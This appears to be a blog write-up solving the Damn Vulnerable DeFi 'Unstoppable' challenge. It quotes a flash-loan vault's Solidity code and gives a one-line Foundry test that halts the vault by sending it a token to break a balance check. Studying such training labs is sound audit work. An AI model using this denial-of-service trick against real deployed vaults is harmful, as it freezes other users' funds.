Damn Vulnerable DeFi - Challenge 1: Unstoppable
Recently I have been interested in web3/blockchain/smart contract auditing thanks to cts and The Auditooor Grindset. She recommended the Damn Vulnerable DeFi pwnable challenges to get up to speed on smart contract auditing. This is my solution and notes for the first challenge Unstoppable.
Challenge Intro
The goal for this level is to “halt the vault”. In web3 lingo, halting a vault means to pause or temporarily disable it.
No transactions can occur while a vault is halted. Vaults can be halted for security or operational reasons like when the platform is undergoing maintenance or to prevent attackers from further exploiting the system.
It makes sense that an admin can perform halts, but what if any user can perform them? This would lead to a huge Denial-of-Service vulnerability. Today’s challenge is a gentle introduction into how poor programming can lead to a user halting a smart contract vault.
Source Code Analysis
We are given two Solidity files:
- UnstoppableVault.sol: main smart contract that handles flash loans
- UnstoppableMonitor.sol: monitors the vault’s flash loans
The UnstoppableVault.sol file contains the main logic, so let’s begin our analysis there. The file is rather small and after a couple minutes of reading the source code we see the logic for executing flash loans:
function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (amount == 0) revert InvalidAmount(0); // fail early
if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);
// callback must return magic value, otherwise assume it failed
uint256 fee = flashFee(_token, amount);
if (
receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data)
!= keccak256("IERC3156FlashBorrower.onFlashLoan")
) {
revert CallbackFailed();
}
// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);
return true;
}
Using the if
statements as a guide, we see that there are four checks that must be passed to execute a flash loan:
- The amount must not be zero
- We must provide only the supported currency/token/asset, which is DVT
- The result of
convertToShares(totalSupply)
andbalanceBefore
must be equal - The callback function must match the magic value hash
If any of these checks fail, then the vault will be halted.
Which of these four checks would be the easiest to break? Option 3: if we can change the amount of tokens in the vault, then we can break the check:
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
Exploit
To perform the exploit of writing more tokens to the vault to cause a mismatch, write the following to the Unstoppable.t.sol
test file.
function test_unstoppable() public checkSolvedByPlayer {
require(token.transfer(address(vault), 1));
}
Then run the test with:
forge test --mp test/unstoppable/unstoppable.t.sol
If successful, you should have passed both test cases:
Ran 2 tests for test/unstoppable/Unstoppable.t.sol:UnstoppableChallenge
[PASS] test_assertInitialState() (gas: 69704)
[PASS] test_unstoppable() (gas: 74619)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 17.84ms (936.12µs CPU time)
Ran 1 test suite in 119.29ms (17.84ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)